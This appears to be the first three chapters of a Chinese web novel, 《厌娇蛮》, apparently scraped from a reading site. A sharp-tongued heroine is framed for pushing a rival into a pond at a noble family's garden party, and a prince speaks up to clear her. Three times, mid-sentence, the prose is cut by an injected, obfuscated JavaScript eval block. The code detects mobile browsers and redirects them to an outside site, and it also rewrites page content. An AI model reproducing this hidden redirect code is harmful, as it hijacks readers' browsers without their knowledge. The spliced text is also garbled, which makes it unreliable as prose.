《厌娇蛮》 1. 第 1 章 春和景明,正是二月阳和启蛰之时。齐国公薛府的春日雅集,正是一派热闹之景。 采采流水,蓬蓬远春。世家贵女们如同春花锦簇,容色鲜妍,此刻正齐聚杨柳池台品茗听琴,闲叙玩笑。 喁喁私语伴轻曼琴音传来,诸人好奇的目光落在不远处一心不在焉的少女身上。 “那就是聂相宜?她怎么来了?” 只见她们目光所及的少女以手托腮,似是望着水榭旁盛放的桃花发呆。 不同于京城时下追捧的清丽婉约之美,聂相宜的脸美得极是张扬,堪称绝艳无双。 白玉肌肤,眉眼如画。尤其一双猫似的眼眸微微上扬,活泼灵动。莹润小巧鼻尖的一点红痣,更是带着些说不出的慵懒妩媚。 “我听说聂相宜不是因冲撞主母,被永宜侯禁足在家么?” 说着,便有人用胳膊轻轻碰了碰身旁一清丽少女的手,“元苇,她怎得被放出来了?” 被她提到的少女,与不远处的聂相宜眉眼似有几分相似之处。只是比之于聂相宜的姝艳昳丽,聂元苇则更显清婉淡雅,举手投足之间也显端庄不少,颇有几分世家贵女的稳重气派。 她冲着诸女抿唇柔柔一笑,语中似有无奈之意,“长姐身份尊贵,父亲哪里舍得禁足她太久。” 如此一言,大家皆是明白过来。 不是不舍得,而是不敢。 谁人都知,如今的永宜侯府聂家不过是个破落侯府,空有虚爵。然而聂相宜早逝的母亲,从前的永宜侯元配夫人,却是安西大将军最疼爱的女儿。 自永宜侯夫人盛年不永之后,安西大将军怜惜聂相宜幼年失母,将她带回鄯州亲自照料,极是宠溺。因而娇养出任性放纵的性子,与京中诸位贵女很是不同。 “那便是聂相宜么?”忽有一容色秀美端庄的女子将目光落在了聂相宜身上,上下打量她两分,不屑道,“果然生得便有几分张狂模样。” 她的声音不大不小,却刚好能被聂相宜听见。 聂相宜这才循声望去,认得那女子是裴家柳姑娘裴琅。 裴家是京城有名的清流世家,裴琅祖父乃是金紫光禄大夫,曾做过当今圣上的老师,如今又教导诸位皇子殿下,在朝中极有名望。 果然便有人附和她道:“可不是,她张狂得紧呢!最是刁蛮任性不过,一问元苇便知了!” 见她们又提及自己,聂元苇倒像是有苦难言般,只抿唇苦笑,闭口不言。 “哪用得着问她呀。”又有人跟着说道,“她在京城,只怕是早已声名远扬了。前儿个她回京的接风宴,便当众夸赞王家五郎长得俊俏,把王五郎臊了个大红脸呢!” “不止如此!几日前的清集,她瞧见了三殿下,又一头热地追着三殿下跑。” 一提到三殿下,众人不由得纷纷瞪大了眼睛。 她们口中的三殿下,乃如今三皇子谢知,当今贵妃之子。生得琼林玉树,神姿高彻,如同天边一轮冷月,最是冷清矜贵。 京中诸多贵女,无不钦慕于他。 有人好奇问:“三殿下也脸红了?” “哪能呢?三殿下是何等克己复礼的人,半分也不曾理会她。倒是聂相宜自己跌了一跤,脏着裙子回去的呢。” 众人不由得感叹,“这也太不顾脸面了,竟没有半分女儿家的自矜。生怕别人不知道她此次回京是为了议亲一般。” 话里已有了几分鄙薄之意。 “谁叫她外祖大权在握,又对她千疼万宠的。”便有人啧了一声,“她这般无礼佻巧,又是个刁蛮任性的性子,连永宜侯主母也管不了她去!诺!还是元苇说与我说的,她前些日子才将侯夫人气得起不来床。” 聂元苇依旧只是尴尬笑笑,闭口不言。 如此诸多议论,有一搭没一搭地传进聂相宜的耳朵中。 她素来是个张扬性子,听得这般对她品头论足,不由得冷笑一声,“原来这京中雅集,与街头菜市也没什么分别。这般议论纷纷,我道是哪里的村头嬷嬷摆闲话儿呢。” 她的声音灵动又轻快,即使这般嘲讽之语,也被她说得俏皮活泼,倒像是玩笑一二。说着她便掩嘴吃笑起来,丝毫不掩语气中的轻蔑之意。 倒显得愈发恶劣了。 诸人见她话语讥讽,不由得变了脸色。 聂元苇脸色亦微微一变,于是温和笑着出来打圆场,“长姐莫气。诸位姑娘不过是看着长姐面生,这才多说了两句,并没有其他意思。” 她这话倒是让裴琅轻笑,意有所指道:“可不是。我们向来只听说元苇是聂家大姑娘,怎得冷不防的,又来一个聂大姑娘,倒叫我们不敢认了。” 聂相宜何尝听不出来她语气中的阴阳怪气,不由得也跟她较上了劲。 “你们自是不知,我乃是永宜侯府的元配嫡出呢,只是一直不在京城生活罢了。” 她扬着下巴睨了裴琅与聂元苇一眼,鼻尖轻哼,十足的高傲与骄矜,像只昂首挺胸的小猫,“当年我母亲还在时,二姑娘的母亲不过也是区区侧室罢了。” 向来自家姐妹,皆有亲昵小字相称。她眼下一口一个二姑娘,又这般当众指出聂元苇母亲继室的身世,无异于落她的面子。 聂元苇端庄温柔的脸上兀的一僵,她微微垂着头,拿绢子掩去方才的尴尬。 聂相宜亦懒得与她们多费口舌。 她自鄯州初回京城,对这些世家贵女皆不熟悉。只有这国公府的世子夫人钟灵玉是她的表姐,与她十分相熟。 只是前院来了贵客,表姐不得已前去相陪,这才独留她一个人。 今日在表姐府上,总不能给她平添了麻烦。 于是聂相宜便自顾自地起身,行至远处水榭边上,从旁逸斜枝的桃枝中攀下一只来,捏在手中赏玩,不再理会众人。 如今正是春木载荣之景,见那花瓣艳丽,便有三两贵女携手起身至水榭边,仰头观赏那桃花簇簇。 “聂大姑娘今日这衣衫的颜色倒是和这桃花相称呢。” 她有心远离,偏有人不放过她,又上下打量起她的衣着来。这话虽是好话,却总让人听出几分阴阳怪气之意来。 她今日着一身桃粉色洒金褶襕裙,衬得她纤秾合度,肤如凝脂,如同桃花灼灼。恰她又攀一枝桃花在手,更是相得益彰,恍若画中之仙。 她低头看了看自己的裙摆,并不觉有任何不妥。 一旁的裴琅闻言,便顺着那姑娘话头轻嗤了一声,“不过是俗人配俗花罢了,平白坏了这水榭雅致。” 她步履珊珊走近聂相宜,看了一眼那桃花,掩着唇吃笑起来,“聂大姑娘这身桃红艳色,像是乡下姑娘赶大集来了。” 语带嘲讽,神情轻蔑。 将她方才对她们“乡下嬷嬷”的嘲讽还了回去。 这话说完,周围姑娘们不由得纷纷掩着嘴笑了起来。就连聂元苇也不由得轻扬了扬唇角,只是似乎又觉不妥,又掩着绢子轻遮了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041643|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遮。 “你倒是雅!”聂相宜反唇相讥。 她本就被外祖纵得娇蛮任性,如今无缘无故受人一番排揎,三番两次不肯放过,她哪里肯吃这个哑巴亏。 她捏着手中的桃花,半眯着眼眸,用一贯骄矜的眼神上下打量裴琅一眼,轻嗤一声,“一身寡淡,像是家有白事服丧去了!” 京中清贵世家想来追捧清丽婉约之美,不喜艳丽鲜妍的颜色。 在场诸位贵女,为求天碧罗衣拂地垂的清雅,大多着月白浅碧一类清淡雅致的颜色,以就连头面首饰,也多以青玉为主。 聂相宜一句服丧,惹得诸人纷纷变了脸色。 “你!” 裴琅气得捏紧了手中的绢子,一时又不知如何反驳,只瞪了聂相宜好久,这才忿忿说道:“果然如传言一般!刁蛮骄横,不讲规矩。俗不可耐!” 聂相宜只骄傲地抬着下巴瞧了她一眼,哼了一声。 众人见她这般张狂,愈发议论起来。 “怎得这般无礼!服丧这种诅咒之事也挂在嘴边!” “同样是聂家姑娘,怎得二姑娘便这端庄有礼?难不成侯府主母没教过她规矩?” 聂元苇闻言讪讪一笑,反倒露出些为难神情来,“母亲她……长姐的身份到底与我是不一样的……” 语气中竟露出几分难言的委屈之意来。 “侯府的主母哪里教得了她?”裴琅冷哼一声,“谁不知道她前儿个刚将侯府主母气得起不来身?只怕是连亲娘都没教好,从根上就不正了。” 聂相宜脸色陡然一冷,“你说什么?” 她倏地将手中桃枝抛至池中,任其随波逐流。又上前逼近裴琅一步,一双上挑的眼眸微微沉下,带着几分凌厉的锐利之色来。 裴琅被她这眼神看得心头一怵,无端从她眸中看出几分压迫感来。 只是她不甘示弱,看着逼近自己的聂相宜,嗤笑一声,“怎得?你还想动手不成?果然久居边陲之地,沾染一身蛮夷习气。” 她话音刚落,肩上便传来一股极大的力道,重重推了她一把。 裴琅一个踉跄往后退了两步,在身边侍女搀扶之下,这才堪堪在水榭边狼狈停下。 不料聂相宜竟真的敢动手,诸位贵女不由得瞪大了眼睛,一时间竟不知如何是好。 只有聂元苇轻轻抿了抿唇,与众人围上前去,好言相劝。 裴琅刚刚在水榭边站稳,便被聂相宜水葱似的手指指住了鼻尖。 “你再敢胡言乱语,信不信我撕烂你的嘴!” “你!” 聂相宜冷着脸看着裴琅秀美脸上又惊又愤的神色,斜了她一眼,不欲与她们过多纠缠,转身正欲离去。 只是还未等她转身,身后腰间竟不知被谁朝前狠狠推了一把。她重心不稳,朝着裴琅的方向趔趄着便扑了过去。 裴琅本就在水榭边上,还未缓过神来,被她这般一扑,脚下又被水榭矮廊绊住。 只听得“扑通”一声,聂相宜耳边顿时响起此起彼伏的惊呼,一时间人仰马翻。 裴琅落了水。 霎时水花四溅。 事发突然,聂相宜瞪大了眼睛站在水榭边上,看着陡然落水的裴琅,猫似的眼眸露出些无措意味来,下意识伸出手去拉她。 府中奴仆纷纷跳入池中相救。 还未等人将裴琅救起,聂相宜便听得身后诸人行礼的惊慌声音。 “三殿下。” 2. 第 2 章 聂相宜猛然转过头去,惊见布叶垂阴之下,谢知长身玉立。 春日的阳光从新芽的缝隙中洒下,映照他如一块精致冷玉。一双眉眼漂亮更甚女子,却并不显得女气,那黑沉的眸如同一池深山寒泉,泛着清凌凌的冷气。 他今日着一身寻常的烟色暗纹长袍,玉簪束发,神清骨秀。 或许是与生俱来的矜贵,他总让人觉得有难以接近的疏离,恰如天边冷月,可望而不可即。 聂相宜的目光与他短暂相接,她想,他实是担得起芝兰玉树几字的。 她想起当年初见他时,他也是这样,一眼便吸引去她所有的目光。 她很想问问他,是否还记得自己,只是每次见他,总是这般不合时宜。 “好端端的,这是怎么了?” 表姐钟灵玉的声音乍然响起,聂相宜才回过神来,朝谢知行礼。 只见钟灵玉面上依旧维持着得体的笑意,三两步走近水榭之中,眉宇间却见浅淡的焦虑之色。 这才片刻没陪在聂相宜身边,怎得闹出这样大的乱子! 她方才去前院与丈夫薛莫寻一道迎了谢知入府。原是陪同谢知在园中闲逛稍许,谁料竟撞作了一处。 他们路过水榭之时,竟刚巧见裴琅跌进水中,而聂相宜,恰好便在她身侧。 有人惊疑不定地说道:“仿佛是是聂家大姑娘……将裴六姑娘推入水中的……” “我没有!”聂相宜转过头看着她,据理力争地辩驳,“我也被人推了一把,这才不小心扑了她!” “可方才你明明就先故意推了她一把……”那姑娘刚一开口,便对上聂相宜的灼灼目光,声音逐渐低了下去。 显得好似是聂相宜咄咄逼人一般。 钟灵玉朝聂相宜使了个眼色,示意她不要在此刻口舌相争。 聂相宜不由得咬了咬牙,心中只觉恼极了——定然不会有人信她。 心中升起的焦躁让她无意识地揉捏着衣角,她眼眸烦躁地乱转,却瞥见了不远处的谢知。 他眉目冷清,却看不清神色。 聂相宜心中更是恼然。也不知被他看到了多少,他不会也觉得是自己推的吧。 她像是自暴自弃般扯了扯衣摆,忿忿不平地想,他定也是如此认为的!人人都如此认为。 裴琅这时刚由人从水中救了起来。 那池水不过刚及膝的深度,并不算深。只是春日犹带寒气,裴琅浑身湿漉漉的,颇为狼狈,被微风一吹,小脸顿时煞白起来。 钟灵玉从身边嬷嬷手中接过一件浅碧色绣松竹的披风,那原是她刚出了月子怕扑了风备下的。 眼下顾不上许多,只见她用披风拢住裴琅,吩咐一旁的仆妇丫鬟,“快带裴六姑娘去前面的天光院换身衣裳!再去请了大夫来诊脉!春日微寒,可别伤了身子。” 说着又压低声音嘱咐道:“快去先去请母亲照看裴六姑娘一二。” 她口中的母亲,是她的婆母齐国公夫人,也是当今的阳徽长公主。 裴琅在薛府出事,于情于理都应有主家照看在侧。只是今日之事涉及聂相宜,她素来知道自家表妹的性子,看似骄横任性,实则是个没心眼的。 她若不在此看着,若让人三两句便扣上推人入水的帽子,一来裴家那头不好交代,二来于她名声更是不好。 当下她留在此处,便只能请阳徽长公主前去照看裴琅,不至于落人话柄。 这边的薛莫寻看着水榭中乱糟糟一团,脸上含着歉意的微笑,“三殿下见笑,原是我待客不周,闹出这样的乱子来。” 谢知神色浅淡,就连嘴角温润的笑意也几近淡薄,明明是看似温和的神色,却无端让人觉得冷漠而疏离。 不过是些幼稚可笑的低劣手段。 他先于薛莫寻夫妇半步而行,路过水榭时看得真切,裴琅落水之时,一双手悄然推在了聂相宜的腰间。 只是他向来不喜这些喧闹,更不欲参与其中。 他并不是多管闲事的人。 “殿下不若一同与我回前院?”薛莫寻看了一眼他的神色。 谢知转身欲走,目光却忽的落在聂相宜衣角的褶皱之上。 她的指尖在那一小方桃粉色的衣料上来回的揉搓,连指腹也揉成了一样的粉色。 她依旧梗着脖子,一副我并未做错任何事的骄傲样子。但那双飘忽的眼眸又出卖了她,她在紧张。 就像一只即将炸毛的猫,倔强又可怜。 不知为何,谢知的脚步就这样停下,突然转入了水榭之中。 他只淡淡回薛莫寻,“前院纷扰,在此驻足片刻也无妨。” 薛莫寻了然。 今日宾客众多,前院多是官场朝臣世家勋贵,见了三皇子,难免有曲意逢迎的应酬烦扰。 然而这位三殿下,最是冷清疏离不过。 此刻他端坐于水榭之中,只自顾自品茗,仿佛周围一切纷扰与他无关,遗世独立。 裴琅落水,钟灵玉知道此事必得给裴家一个交代,便拉住聂相宜低声问道:“阿兕,究竟是怎么回事?” 阿兕是她的小字,如此这般被亲近的人一问,聂相宜鼻头一酸,这才露出几分委屈来。 她瘪着嘴,“我先前是推她来着,但也没把她往水里推!后来我也不知是谁从后面推了我一把,她这才被我扑得落了水。” “好端端的,你推她做什么?” “我还想问呢!好端端的,我拿给她排揎一通!”聂相宜越说越委屈,由不肯在人前漏出软弱之色来,只昂着头,一副负气的倔强模样,“她还骂我没娘亲教养来着!” 钟灵玉表情忽地一僵。 她忽然想起当年在鄯州初见聂相宜时的情景。那时她没了娘亲,瘦瘦小小的,人也总是畏畏缩缩,看什么的眼神都带着怯生生的闪躲。 祖父耐心教养她许久,只盼她即使刁蛮任性些也无妨,再别像那般可怜了。 她心中升起些难言的心疼来。 只是这里到底不是鄯州。 有与裴琅交好的姑娘开口说道:“裴六姑娘原不过与你闲话玩笑两句罢了,何至于此。” 就连聂元苇此时施施然上前,秀眉轻蹙,“长姐脾性也太大了些。在家中如此也就算了,还推了裴六姑娘入水,可怎么向裴家交代?” 她的话中带着隐约的责备之意,聂相宜本就焦躁不已,听她这三言两语就给自己扣了帽子,更是大为光火,拧眉斥道:“你算什么东西!也轮得上你来管我?” 被她这般当中斥责,聂元苇面上一红,顿时泫然欲泣,“我不过是为了长姐着想……” “瞧!她就是这样的蛮横性子!连自家妹妹也这样不给面子!” “难怪这样毫无顾忌推裴六姑娘下水。” “看来裴六姑娘说得也没错,这哪里像是有人教养的样子。” 钟灵玉脸色沉了沉。 她如何听不出来,聂元苇不过三两句话就挑弄了事端,竟像是坐实了聂相宜推人落水一般。 平白让聂相宜成了众矢之的。 她本想着以玩闹无心的由头敷衍过去,如今这般,倒像是她有失偏颇了。 她转过身,凉凉睨了聂元苇一眼。 聂相宜梗着脖子,桃粉色的衣角被她揉捏得不成样子,却仍是倔强地扬着头,“没做过便是没做过!我若是做了,不过区区一个裴家,岂会怕于承认?” 此语在众人耳中更是嚣张跋扈。几代清流世家,在她口中仿佛不值一提。让众人不由得为之侧目。 聂相宜却气得眼眶发酸,凭什么都来指摘她的不是?明明她才是被无端嘲弄的那一个! 好像所有人都对她抱着莫名的恶意。 她深吸了一口气,狠狠眨了一下眼睛,将即将涌出的眼泪憋回去。又轻轻哼了一声,她才不会当着这些人的面哭出来呢! 不知怎的,一双略泛着红的眼睛,就这样刚好撞上谢知的视线。 谢知似乎并没看她,宽袖中露出骨节分明的手指,捏着手中的骨瓷茶盏。他的一举一动都带着云淡风轻般的优雅,每一个动作都让人觉得赏心悦目,如画中之人。 唯那双漆黑的眼眸是冷的。 谢知会怎么看她呢,聂相宜心想。 没有人看到她被人推了一把,但所有人都说是她推裴琅落了水。 怎得就没有人信她呢? 聂相宜瘪了瘪嘴,越想越觉得气恼。大颗的泪珠子在眼眶中打转,却始终倔强不肯落下。 “不是她。”冷冷清清的声音就这样传来。 聂相宜心头兀的一跳,讶异地瞪大了眼睛,愣愣地看着谢知。 谢知并未看她,只是放下茶盏,仿佛在说一件与己无关的小事,“有双手推了她,戴着一对飘花玉镯。” 言尽于此。 众人闻言面面相觑,不知该说些什么好。她们既惊讶谢知会开口为聂相宜澄清,又惊讶是有人真的推了聂相宜。 谢知说话,是极有分量的。 不仅仅是因为他三皇子的身份,更为他年纪轻轻,便手握神策司大权。神策司乃皇帝亲卫,仅听命于皇帝,上至皇室宗亲,下至王公大臣,神策司都可越过大理寺与刑部,直接拿人。 神策卫所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041644|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经之处,无不闻风丧胆。 而谢知此人,看似冷清斯文,谦谦君子如玉,实则杀伐果断,冷厉无情。 兼之他向来洁身自好,外无朋党纷争,内无姬妾艳闻,自他十五岁掌管神策司以来,众人无一不为之信服。 他若是开口,那一定只为事实。 有谢知开口,钟灵玉亦不由得松了一口气,到底算是有个交代。 至于谁推了聂相宜,她作为主家,也不好如同审犯人般对着姑娘们的手细细查看,是谁手中戴了一对飘花镯子。 她于是笑道:“许都是不小心罢了。说到底,是我这做主人家的不对,失了礼数,这才闹出了这样的乱子。该向裴姑娘赔不是呢。” 将此事揭过便也罢了。 聂相宜吃了个哑巴亏,那肯这般轻易放过。整个宴席,她都在瞧贵女们腕上的首饰。 只是她眼睛都瞪酸了,直到夜幕降临离开薛府,也没瞧见谁人手上戴着一对飘花手镯。 倒是钟灵玉私下里对着她叹气,“从前祖父总盼着你能活泼大方些,可如今你这般憨直性子,在京城总是要吃亏的。” “我才不怕。大不了回鄯州去。”聂相宜哼了一声,“我只是不明白,她们怎么都这般对我。我又不曾与她们有甚过节。” “你哪里知道这里面的弯弯绕绕。”钟灵玉戳了戳她的额头,“就拿裴琅来说,她祖父是三殿下的老师,为着这层关系,她是最有可能成为三皇子妃的人。你前儿个在春日雅集上追着三殿下跑,惹得流言纷纷,她能看得惯你吗?” 聂相宜撇了撇嘴,“有本事她自己也追着谢知跑去,为难我做什么!” 钟灵玉失笑:“再说其他人,她们未必是真心污蔑你,但你刁蛮任性的名声在外,她们必定对你有所成见。加之你先前本就朝裴琅发作了一通,不是你推的,也成了你推的。” 聂相宜嘁了一声,颇有些不屑。 “不过话说回来,你不过刚回京城数月,怎得人人都知晓你任性骄纵,连将主母气得起不来床这种事情也人尽皆知?” 钟灵玉的眼神颇有深意,“说起来,我记得我当年你小时候也是如此。那时我在鄯州都听说你难教养不守规矩。谁曾想见你了,竟是个连吃块糕点都要看人脸色的小丫头。” 聂相宜耸耸肩,好似没往深处想,只抱怨道:“她们总拿规矩拘着我,这也不对那也不对,我有什么办法。” 见她似乎并未意会其中深意,钟灵玉摇摇头,“罢了,回府万事小心些。受了委屈记得来找我。” “她们还敢给我受委屈不成?”聂相宜鼻尖不屑轻哼一声,又环着钟灵玉的胳膊撒娇,“不过还是多谢灵玉表姐啦!” 回府的马车摇摇晃晃,在夜色中朝着永宜侯府驶去。聂相宜闭眼小憩,脑中仍想着到底是谁推了自己一把。 当时众贵女都围在自己周围,一时间倒不好判断。她缓缓睁开眼,狐疑地看了聂元苇一眼。 却见她的手腕纤细白净,如一截玉藕,只是上面空空如也,并无任何首饰。 聂相宜收回了眼神。 等到回府时,聂元苇的母亲,现如今的永宜侯夫人江云娥正在门口等着她们。 永宜侯府如今破落,空有虚爵,又与齐国公府交情不深。像今日这般家宴,向来是不会给永宜侯府下帖子的。 只是顾着钟灵玉与聂相宜的关系,这才顺道请了聂元苇一起,以免被人说了闲话。 这厢江云娥见了聂相宜与聂元苇接连下马车,忙迎了上去。 “我听说今日相宜推了裴六姑娘落水,是怎么回事?”她温柔面容中带着担忧,一派慈母之色。 江云娥与聂元苇模样极像,都是宁和柔顺的长相,连说话也轻言细语,举手投足之间很有几分贵族大家的优雅。 聂相宜只斜眼瞥她一眼,一边自顾自往府里走去,一边冷笑,“你消息倒是灵通。” 江云娥讪讪一笑,又追着她温柔劝道:“相宜,不是母亲说你,你这脾气也太大了些。那裴家是什么身份,现下可如何交代?你父亲知道了,必然会生气的。” 聂元苇忙握住她的手,“母亲,都是误会罢了。三殿下已替长姐澄清过了。” 江云娥一听这话,不由得一怔,止住了话,“三殿下?” 她看了一眼聂元苇的神色,还未来得及说些什么,目光乍凝在她空空如也的皓腕之上,不由得轻呼了一声,“咦?你的那对镯子呢?怎得不见了?” 她声音带着隐约的急切,“那可是我的陪嫁,还是为着薛府宴集特地为你寻出来的!” 聂相宜忽的脚步一顿。 3. 第 3 章 “我出门未曾戴什么镯子,母亲忘记了吗?”聂元苇握住江云娥的手,仰脸看着她,眼神定定。 江云娥觑见她的神色,眼珠一转,虽不知发生了什么,却已然心领神会。于是柔柔笑了一声,“原是我忘了,你嫌那镯子颜色老气来着。” 聂元苇看着前方聂相宜的背影,灯火煌煌,只隐约可见她模糊的轮廓。她似乎并未有任何反应,好似未曾听见一般,只是自顾自地朝前走去。 廊腰缦回,一路月色灯火相伴,三人各怀心思,就这样都沉默了下来,只有惊蛰初始,偶尔虫鸣一声。 夜风带着微凉的寒气,聂相宜拢了拢衣服,直到行至院中的锦麟池时,她突然停下了脚步。 春日绿水,波色乍明,红鱼水中游曳。锦麟池便新置许多灯火,映照池水凌凌,为的便是夜观锦鳞的雅致。 聂相宜站在木桥之上,朝聂元苇招了招手,颊边笑意绽放,“元苇,你过来。” 她自回京之后,向来眼高于顶,甚是骄傲,极少露出这般笑靥,如同冰雪笑容,明艳动人。 聂元苇心头却突地一跳。 事出反常必有妖,她并不认为聂相宜有这般闲情雅致,想邀她夜观锦鲤。于是抬头看了身旁的江云娥一眼。 “过来呀!”聂相宜在灯火簇簇巧笑嫣然,“你在怕什么?” 聂元苇没有拒绝她的理由。 众目睽睽之下,她总不敢做什么的。聂元苇这样想着,便踏着步子上了鲤池木桥。 她礼数极是周到,“长姐,夜风寒凉,还是早些休息罢。” “你再过来些。”聂相宜没回应她,依旧微笑着朝她招手。 聂元苇犹疑不定,且将步子又往前挪了一小步。 却不曾想她刚靠近些,聂相宜伸手便朝她伸了过来。她的动作极快,几乎不等聂元苇反应,便被她攥住了手腕。 “是你推的我吧。”聂相宜冷笑着问。 骤然间被她抓住手腕,聂元苇又惊又惧,却挣扎不过,手腕被她捏得生疼,当下便红了眼眶,“我不知长姐在说些什么。” 江云娥见两人拉扯起来,不由也惊了一跳,忙三两步上前,好言劝道:“相宜,你这样拉着元苇作何?快些放下,叫下人看见像什么样子。有什么话不能好好说。” 聂相宜歪头看着她,清澈眼眸露出一丝无邪天真来,“那我放开她了?” 江云娥忙跟着点头。 聂相宜嘴角微微一扬,就着聂元苇的手腕狠狠往后一推,而后轻轻松开了手。 她嘴角灿烂的笑容露出几分恶劣颜色来,轻声笑言,“下去吧你!” 扑通—— 她转脸看着惊怒的江云娥,笑容中带着故作不谙世事的惊恐与怯色,眨着眼睛,“是母亲叫我放的手呀!” 说罢再不管身后江云娥的怒目与奴仆们兵荒马乱的脚步,转身欢快离去。她桃粉的裙角在夜风中翩跹起轻快的弧度,恰如春水池中一尾漂亮的锦鳞。 聂元苇被她推得落了水,又兼之夜风寒凉,当即便发了风寒。惹得江云娥心疼不已,梨花带雨地朝找了永宜侯聂正青哭诉。 “侯爷,相宜这孩子实难教养。光是脾性大些便也罢了,到底是安西大将军教养出来的孩子,我们哪敢置喙。只是如今她愈发蛮横,一个不妨便能将元苇推进水里。日后又该将如何啊。” 聂正青端坐于屋内,身形高大挺阔,眉宇间依稀能看出年轻时的俊朗。只是肚腹便便,容色惫懒,已然沾了浑浊酒色财气。 他听得江云娥哭诉,微微敛眉,先是斥了一声,“相宜怎得这般不讲理?” 而后又听得他犹疑道:“会不会是起了什么争执?亦或是玩闹中不小心推了一把?” “元苇的性子侯爷还不清楚?她素来温柔,何曾与人红过脸?”江云娥捏着绢子一边拭泪一边摇头,“在场奴仆众多,皆是眼睁睁看着,相宜不由分说推了元苇一把。” 聂正青拧着眉看着一眼病榻上苍白的聂元苇,亦有心疼之意,凝眸不语。 江云娥觑了一眼他的神色,又犹犹豫豫说道:“听说今日在薛府,相宜便已经推了裴六姑娘落水,还是三殿下作保,才替她遮掩了下来。相宜总是这样,可怎生是好。” 一听裴家,聂正青不由得眼皮一跳。这些清流世家在朝中颇具名望,哪里是他们这恐有虚爵的永宜侯府能惹得起的。 想及此,他不由得面上生了几分怒色,“竟这般无法无天!这些年她当真是被宠坏了!叫相宜继续去祠堂跪着!没得让旁人觉得我聂正青连女儿也不会管教!” “侯爷,恐怕不妥。”不曾想江云娥却温言劝他一声,“相宜前些日子就已经跪过几日祠堂了,侯爷虽是教女有方,可若传到安西大将军耳朵里,难免心疼外孙女。” 她这般话语,反倒是激将一般。聂正青眉头紧皱起来,面上已生了几分不耐之意,“本侯难道教训个女儿还不行了?相宜这般任性,到底是安西大将军太过纵容之缘故!” “元苇到底不比相宜身份金贵,有安西大将军宠着护着,受些委屈也无妨。”江云娥捏着绢子压一压眼泪,“只是相宜如今到底大了,这般骄纵,传出去可怎么议亲啊。” 这话让聂正青沉了脸。 永宜侯府不济,府中男丁又还小。唯一的助力便是盼着两个及笄的女儿能嫁得好夫婿,也好帮衬一二。 他思索片刻,不耐地拧眉沉声道:“你去为她找个教养嬷嬷,教她规矩,这些日子不许她出门!没得再生了事端,惹人非议!” 直到聂正青离开,江云娥这才拭了颊边的泪,缓缓被身边的嬷嬷扶着坐下。 她饮一口热茶,悠悠吩咐道:“芳瑞,去给大姑娘找个教养嬷嬷。” “是。”嬷嬷讨笑着看她,“夫人真是贤德,大姑娘三番两次冲撞夫人,甚是无礼,夫人还这般好心为她。” “那是自然。”江云娥放下手中的茶盏,一派苦心之色,“做母亲的,总是要为孩子考虑的。按着聂相宜的性子,连我也不曾放在眼里,此刻若是不好好磋磨一番,日后嫁做人妇,岂非由着婆家笑话?” 她手中轻轻拨弄着茶盏,“前日里不过是元苇想要她那套红玉头面,她竟也敢大闹一通,差点划了元苇的脸。做姐妹的同气连枝,一套头面也这般吝啬。侯爷罚她跪祠堂,她还不服气。” 芳瑞只在一旁陪着笑脸,“大姑娘身份金贵,自然气盛。夫人好好教她便是了,若是把她性子磋磨得圆和了,只怕侯爷还要夸夫人贤德呢。” “那是自然。既然要找嬷嬷,便给她找个好的,不然怎对得起我这贤良名声?”江云娥想了想,“你明日里拿着手令去一趟宫里,求贵妃身边的梅姑姑,在宫里给她找个教养嬷嬷,好好教一教她规矩。” 芳瑞有些迟疑,“宫里的嬷嬷……会不会太抬举她了?” “你且不信,聂相宜那性子,只怕嬷嬷越是教她,她越来劲了呢。”江云娥扬着唇,声音轻快,“尽由着她闹大些也好,坏了名声嫁不出去,自己便灰溜溜回鄯州去了。” “夫人贤良。” 这厢聂相宜原以为她推了聂元苇一把,又要叫她跪祠堂了。 前些日子便是如此,聂元苇看上了她那套红玉头面,撺掇着江云娥来她院中讨要。 那红玉头面是她母亲留给她的,她自然不肯让了旁人。一时争执,她气得摔了杯盏,溅起的瓷片差点划了聂元苇的脸。 江云娥当即便气晕了过去,聂元苇也是梨花带雨地哭个不停,倒像是谁委屈了她们似的。 等得聂正青回府,聂相宜还来不及辩驳,便被罚跪了祠堂。 然而令聂相宜没想到的是,这次来的不是祠堂的管家,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041645|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个面容严肃的嬷嬷。 这嬷嬷看起来三四十的年纪,容长脸上有些浅淡的皱纹,发髻梳得一丝不苟,眸色十分锐利。 “乌姑姑是宫里的老嬷嬷,规矩极好,夫人特地为姑娘请的。”芳瑞将人带到聂相宜的晴方院,讨笑着说道,“想由乌姑姑教大姑娘规矩,定是不出差错的。” 那乌姑姑板着脸,朝聂相宜行礼,“老身乌凡,见过聂大姑娘。” 声音不大不小,带着十足的严肃与刻板。 